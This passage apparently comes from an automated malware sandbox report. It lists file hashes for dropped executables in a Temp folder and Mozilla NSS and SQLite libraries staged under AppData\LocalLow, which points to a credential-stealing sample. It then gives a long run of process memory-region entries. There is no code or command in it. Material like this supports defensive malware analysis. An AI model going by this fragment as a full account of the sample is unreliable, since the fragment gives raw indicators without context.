                        160ff208a2402b4aa858aa7d8d2d0420f8cd434f

                        SHA256

                        36fdfa6d3688a58281fdddf19bc7cce2e292655f2ab63a3cb34f2de65064e9a5

                        SHA512

                        95fd411cfb7ecfe9b4a3f6495d39f8cff998fe27f76ef08df5ff7373dc250be1d2471dc1c2d14be532362df1744ed66df51e54a3a339e5a0ae1c0b56bf2fd734

                      • C:\Users\Admin\AppData\Local\Temp\4F20.exe
                        MD5

                        5707ddada5b7ea6bef434cd294fa12e1

                        SHA1

                        45bb285a597b30e100ed4b15d96a29d718697e5e

                        SHA256

                        85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                        SHA512

                        91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                      • C:\Users\Admin\AppData\Local\Temp\4F20.exe
                        MD5

                        5707ddada5b7ea6bef434cd294fa12e1

                        SHA1

                        45bb285a597b30e100ed4b15d96a29d718697e5e

                        SHA256

                        85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                        SHA512

                        91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                      • C:\Users\Admin\AppData\Local\Temp\4F20.exe
                        MD5

                        5707ddada5b7ea6bef434cd294fa12e1

                        SHA1

                        45bb285a597b30e100ed4b15d96a29d718697e5e

                        SHA256

                        85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                        SHA512

                        91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                      • C:\Users\Admin\AppData\Local\Temp\525E.exe
                        MD5

                        4fb208ec7d17d1ba04dd724693231c5e

                        SHA1

                        d2861fd7a1463d5bbbf6154d7c82d4dbff6112d5

                        SHA256

                        6dfc2d77895bc8653a3a5ef24b97484ace1f716231abd88045e9e08fea2bd449

                        SHA512

                        172aa75c8d4737e91d611af37bfeaa2ad4063f7a9d630215161db32a384d71d8852bbf7114369d8a886ad7eb966b20661e40db1599733e23da393bcfd04692a6

                      • C:\Users\Admin\AppData\Local\Temp\525E.exe
                        MD5

                        4fb208ec7d17d1ba04dd724693231c5e

                        SHA1

                        d2861fd7a1463d5bbbf6154d7c82d4dbff6112d5

                        SHA256

                        6dfc2d77895bc8653a3a5ef24b97484ace1f716231abd88045e9e08fea2bd449

                        SHA512

                        172aa75c8d4737e91d611af37bfeaa2ad4063f7a9d630215161db32a384d71d8852bbf7114369d8a886ad7eb966b20661e40db1599733e23da393bcfd04692a6

                      • C:\Users\Admin\AppData\Local\Temp\5404.exe
                        MD5

                        9c2b46891c81e1ffc342696a9a014cf0

                        SHA1

                        3ba2e8f0ca073973b841f9b657d698c2d134a8d2

                        SHA256

                        ca66ebe8500abd54a8b7b150e4b68607b3a1dcd8b38f0eec8b3c10d9d0f21d00

                        SHA512

                        3dba8eaa20f625ab3d9f25ef0857e347977cb6f1e3c8c97e4a15b515c8e7d523de00638c6a08f0e67329338f15b71ff6126eb12a258bdea137dee5a00674bca0

                      • C:\Users\Admin\AppData\Local\Temp\5404.exe
                        MD5

                        9c2b46891c81e1ffc342696a9a014cf0

                        SHA1

                        3ba2e8f0ca073973b841f9b657d698c2d134a8d2

                        SHA256

                        ca66ebe8500abd54a8b7b150e4b68607b3a1dcd8b38f0eec8b3c10d9d0f21d00

                        SHA512

                        3dba8eaa20f625ab3d9f25ef0857e347977cb6f1e3c8c97e4a15b515c8e7d523de00638c6a08f0e67329338f15b71ff6126eb12a258bdea137dee5a00674bca0

                      • C:\Users\Admin\AppData\Local\Temp\58F7.exe
                        MD5

                        d3ddcff47d32b16b82d53a1d45ba26bd

                        SHA1

                        8d2be1dafd57b82ddf709971b590c762436205bc

                        SHA256

                        f83f5f862a96201504c3f06966d12b26e71403477537d41b575b939bba02aa76

                        SHA512

                        2e53ffb2c666480605d9a17a8752a0035d25a41cde5f3ba59a4cd394539b85ad3ed39bf0ba7ee075f743d3df6f474b2537e6dccd973fe780461a76b75ffb29ec

                      • C:\Users\Admin\AppData\Local\Temp\58F7.exe
                        MD5

                        d3ddcff47d32b16b82d53a1d45ba26bd

                        SHA1

                        8d2be1dafd57b82ddf709971b590c762436205bc

                        SHA256

                        f83f5f862a96201504c3f06966d12b26e71403477537d41b575b939bba02aa76

                        SHA512

                        2e53ffb2c666480605d9a17a8752a0035d25a41cde5f3ba59a4cd394539b85ad3ed39bf0ba7ee075f743d3df6f474b2537e6dccd973fe780461a76b75ffb29ec

                      • \Users\Admin\AppData\LocalLow\nW6mI-7yS1k\freebl3.dll
                        MD5

                        60acd24430204ad2dc7f148b8cfe9bdc

                        SHA1

                        989f377b9117d7cb21cbe92a4117f88f9c7693d9

                        SHA256

                        9876c53134dbbec4dcca67581f53638eba3fea3a15491aa3cf2526b71032da97

                        SHA512

                        626c36e9567f57fa8ec9c36d96cbadede9c6f6734a7305ecfb9f798952bbacdfa33a1b6c4999ba5b78897dc2ec6f91870f7ec25b2ceacbaee4be942fe881db01

                      • \Users\Admin\AppData\LocalLow\nW6mI-7yS1k\mozglue.dll
                        MD5

                        eae9273f8cdcf9321c6c37c244773139

                        SHA1

                        8378e2a2f3635574c106eea8419b5eb00b8489b0

                        SHA256

                        a0c6630d4012ae0311ff40f4f06911bcf1a23f7a4762ce219b8dffa012d188cc

                        SHA512

                        06e43e484a89cea9ba9b9519828d38e7c64b040f44cdaeb321cbda574e7551b11fea139ce3538f387a0a39a3d8c4cba7f4cf03e4a3c98db85f8121c2212a9097

                      • \Users\Admin\AppData\LocalLow\nW6mI-7yS1k\nss3.dll
                        MD5

                        02cc7b8ee30056d5912de54f1bdfc219

                        SHA1

                        a6923da95705fb81e368ae48f93d28522ef552fb

                        SHA256

                        1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

                        SHA512

                        0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

                      • \Users\Admin\AppData\LocalLow\nW6mI-7yS1k\softokn3.dll
                        MD5

                        4e8df049f3459fa94ab6ad387f3561ac

                        SHA1

                        06ed392bc29ad9d5fc05ee254c2625fd65925114

                        SHA256

                        25a4dae37120426ab060ebb39b7030b3e7c1093cc34b0877f223b6843b651871

                        SHA512

                        3dd4a86f83465989b2b30c240a7307edd1b92d5c1d5c57d47eff287dc9daa7bace157017908d82e00be90f08ff5badb68019ffc9d881440229dcea5038f61cd6

                      • \Users\Admin\AppData\LocalLow\sqlite3.dll
                        MD5

                        f964811b68f9f1487c2b41e1aef576ce

                        SHA1

                        b423959793f14b1416bc3b7051bed58a1034025f

                        SHA256

                        83bc57dcf282264f2b00c21ce0339eac20fcb7401f7c5472c0cd0c014844e5f7

                        SHA512

                        565b1a7291c6fcb63205907fcd9e72fc2e11ca945afc4468c378edba882e2f314c2ac21a7263880ff7d4b84c2a1678024c1ac9971ac1c1de2bfa4248ec0f98c4

                      • memory/504-150-0x0000000000BE0000-0x0000000000C71000-memory.dmp
                        Filesize

                        580KB

                      • memory/504-133-0x0000000000000000-mapping.dmp
                      • memory/504-153-0x0000000000400000-0x0000000000946000-memory.dmp
                        Filesize

                        5.3MB

                      • memory/744-503-0x000000000044003F-mapping.dmp
                      • memory/744-505-0x0000000000400000-0x0000000000495000-memory.dmp
                        Filesize

                        596KB

                      • memory/1460-126-0x0000000005BF0000-0x0000000005BF1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1460-124-0x0000000000DB0000-0x0000000000DB1000-memory.dmp
                        Filesize

                        4KB

                      • memory/1460-127-0x0000000005790000-0x0000000005791000-memory.dmp
                        Filesize

                        4KB

                      • memory/1460-121-0x0000000000000000-mapping.dmp
                      • memory/1460-128-0x00000000056F0000-0x0000000005BEE000-memory.dmp
                        Filesize

                        5.0MB

                      • memory/1460-132-0x0000000005750000-0x0000000005751000-memory.dmp
                        Filesize

                        4KB

                      • memory/1868-116-0x0000000000030000-0x000000000003A000-memory.dmp
                        Filesize

                        40KB

                      • memory/2096-182-0x0000000008500000-0x0000000008501000-memory.dmp
                        Filesize

                        4KB

                      • memory/2096-173-0x0000000007D60000-0x0000000007D61000-memory.dmp
                        Filesize

                        4KB

                      • memory/2096-170-0x00000000072F0000-0x00000000072F1000-memory.dmp
                        Filesize

                        4KB

                      • memory/2096-203-0x0000000008750000-0x0000000008751000-memory.dmp
                        Filesize

                        4KB

                      • memory/2096-205-0x0000000009400000-0x0000000009401000-memory.dmp
                        Filesize

                        4KB

                      • memory/2096-167-0x0000000006FF2000-0x0000000006FF3000-memory.dmp
                        Filesize

                        4KB

                      • memory/2096-224-0x0000000006FF3000-0x0000000006FF4000-memory.dmp
                        Filesize

                        4KB

                      • memory/2096-156-0x0000000000000000-mapping.dmp
                      • memory/2096-159-0x0000000004980000-0x0000000004981000-memory.dmp
                        Filesize

                        4KB

                      • memory/2096-160-0x0000000007630000-0x0000000007631000-memory.dmp
                        Filesize

                        4KB

                      • memory/2096-166-0x0000000006FF0000-0x0000000006FF1000-memory.dmp
                        Filesize

                        4KB

                      • memory/2096-176-0x0000000007590000-0x0000000007591000-memory.dmp
                        Filesize

                        4KB

                      • memory/2096-174-0x0000000007E30000-0x0000000007E31000-memory.dmp
                        Filesize

                        4KB

                      • memory/2096-202-0x00000000094A0000-0x00000000094A1000-memory.dmp
                        Filesize

                        4KB

                      • memory/2096-172-0x0000000007390000-0x0000000007391000-memory.dmp
                        Filesize

                        4KB

                      • memory/2376-117-0x0000000000A30000-0x0000000000A46000-memory.dmp
                        Filesize

                        88KB

                      • memory/2708-136-0x0000000000000000-mapping.dmp
                      • memory/2708-151-0x0000000000400000-0x0000000000919000-memory.dmp
                        Filesize

                        5.1MB

                      • memory/3016-142-0x0000000000400000-0x0000000002CB1000-memory.dmp
                        Filesize

                        40.7MB

                      • memory/3016-129-0x0000000000000000-mapping.dmp
                      • memory/3016-141-0x0000000004820000-0x00000000048B3000-memory.dmp
                        Filesize

                        588KB

                      • memory/3392-115-0x0000000000402E1A-mapping.dmp
                      • memory/3392-114-0x0000000000400000-0x0000000000409000-memory.dmp
                        Filesize

                        36KB

                      • memory/3808-163-0x00000000032B0000-0x0000000003324000-memory.dmp
                        Filesize

                        464KB

                      • memory/3808-164-0x0000000003240000-0x00000000032AB000-memory.dmp
                        Filesize

                        428KB

                      • memory/3808-149-0x0000000000000000-mapping.dmp
                      • memory/3852-244-0x0000000007010000-0x0000000007011000-memory.dmp
                        Filesize

                        4KB

                      • memory/3852-201-0x0000000006950000-0x0000000006951000-memory.dmp
                        Filesize

                        4KB

                      • memory/3852-162-0x00000000056A0000-0x00000000056A1000-memory.dmp
                        Filesize

                        4KB

                      • memory/3852-155-0x0000000005430000-0x0000000005431000-memory.dmp
                        Filesize

                        4KB

                      • memory/3852-154-0x00000000053F0000-0x00000000053F1000-memory.dmp
                        Filesize

                        4KB

                      • memory/3852-152-0x0000000005390000-0x0000000005391000-memory.dmp
                        Filesize

                        4KB

                      • memory/3852-148-0x0000000005930000-0x0000000005931000-memory.dmp
                        Filesize

                        4KB

                      • memory/3852-143-0x0000000000000000-mapping.dmp
                      • memory/3852-165-0x0000000005320000-0x0000000005926000-memory.dmp
                        Filesize

                        6.0MB

                      • memory/3852-204-0x0000000007050000-0x0000000007051000-memory.dmp
                        Filesize

                        4KB

                      • memory/3852-146-0x0000000000B80000-0x0000000000B81000-memory.dmp
                        Filesize

                        4KB

                      • memory/3868-140-0x0000000000400000-0x0000000000919000-memory.dmp
                        Filesize

                        5.1MB

                      • memory/3868-139-0x00000000001C0000-0x00000000001FB000-memory.dmp
                        Filesize

                        236KB

                      • memory/3868-118-0x0000000000000000-mapping.dmp
                      • memory/4116-169-0x0000000000DC0000-0x0000000000DCC000-memory.dmp
                        Filesize

                        48KB

                      • memory/4116-161-0x0000000000000000-mapping.dmp
                      • memory/4116-168-0x0000000000DD0000-0x0000000000DD7000-memory.dmp
                        Filesize

                        28KB

                      • memory/4324-179-0x0000000002A10000-0x0000000002A1B000-memory.dmp
                        Filesize

                        44KB

                      • memory/4324-178-0x0000000002A20000-0x0000000002A27000-memory.dmp
                        Filesize

                        28KB

                      • memory/4324-175-0x0000000000000000-mapping.dmp
                      • memory/4380-500-0x0000000000000000-mapping.dmp
                      • memory/4388-186-0x0000000001280000-0x0000000001289000-memory.dmp
                        Filesize

                        36KB

                      • memory/4388-185-0x0000000000000000-mapping.dmp
                      • memory/4388-187-0x0000000000FF0000-0x0000000000FFF000-memory.dmp
                        Filesize

                        60KB

                      • memory/4424-188-0x0000000000000000-mapping.dmp
                      • memory/4424-189-0x0000000002B30000-0x0000000002B35000-memory.dmp
                        Filesize

                        20KB

                      • memory/4424-190-0x0000000002B20000-0x0000000002B29000-memory.dmp
                        Filesize

                        36KB

                      • memory/4468-195-0x00000000008E0000-0x00000000008EC000-memory.dmp
                        Filesize

                        48KB

                      • memory/4468-194-0x00000000008F0000-0x00000000008F6000-memory.dmp
                        Filesize

                        24KB

                      • memory/4468-193-0x0000000000000000-mapping.dmp
                      • memory/4500-196-0x0000000000000000-mapping.dmp
                      • memory/4500-197-0x0000000000220000-0x0000000000224000-memory.dmp
                        Filesize

                        16KB

                      • memory/4500-198-0x0000000000210000-0x0000000000219000-memory.dmp
                        Filesize

                        36KB

                      • memory/4600-210-0x0000000000000000-mapping.dmp
                      • memory/4600-225-0x0000000000410000-0x0000000000415000-memory.dmp
                        Filesize

                        20KB

                      • memory/4600-226-0x0000000000400000-0x0000000000409000-memory.dmp
                        Filesize

                        36KB

                      • memory/4668-241-0x00000000048B3000-0x00000000048B4000-memory.dmp
                        Filesize

                        4KB

                      • memory/4668-245-0x0000000009600000-0x000000000975B000-memory.dmp
                        Filesize

                        1.4MB

                      • memory/4668-239-0x0000000009A80000-0x0000000009A81000-memory.dmp
                        Filesize

                        4KB

                      • memory/4668-212-0x0000000000000000-mapping.dmp
                      • memory/4668-222-0x0000000007C60000-0x0000000007C61000-memory.dmp
                        Filesize

                        4KB

                      • memory/4668-227-0x00000000048B0000-0x00000000048B1000-memory.dmp
                        Filesize

                        4KB

                      • memory/4668-228-0x00000000048B2000-0x00000000048B3000-memory.dmp
                        Filesize

                        4KB

                      • memory/4864-232-0x0000000000000000-mapping.dmp
                      • memory/4864-236-0x0000000002E10000-0x0000000002E19000-memory.dmp
                        Filesize

                        36KB

                      • memory/4864-235-0x0000000002E20000-0x0000000002E25000-memory.dmp
                        Filesize

                        20KB

                      • memory/4956-246-0x0000000000000000-mapping.dmp
                      • memory/4956-349-0x000000007F390000-0x000000007F391000-memory.dmp
                        Filesize

                        4KB

                      • memory/4956-350-0x00000000076D3000-0x00000000076D4000-memory.dmp
                        Filesize

                        4KB

                      • memory/4956-279-0x0000000009CA0000-0x0000000009CA1000-memory.dmp
                        Filesize

                        4KB

                      • memory/4956-274-0x0000000009B30000-0x0000000009B31000-memory.dmp
                        Filesize

                        4KB

                      • memory/4956-267-0x0000000009B50000-0x0000000009B83000-memory.dmp
                        Filesize

                        204KB

                      • memory/4956-256-0x00000000076D2000-0x00000000076D3000-memory.dmp
                        Filesize

                        4KB

                      • memory/4956-255-0x00000000076D0000-0x00000000076D1000-memory.dmp
                        Filesize

                        4KB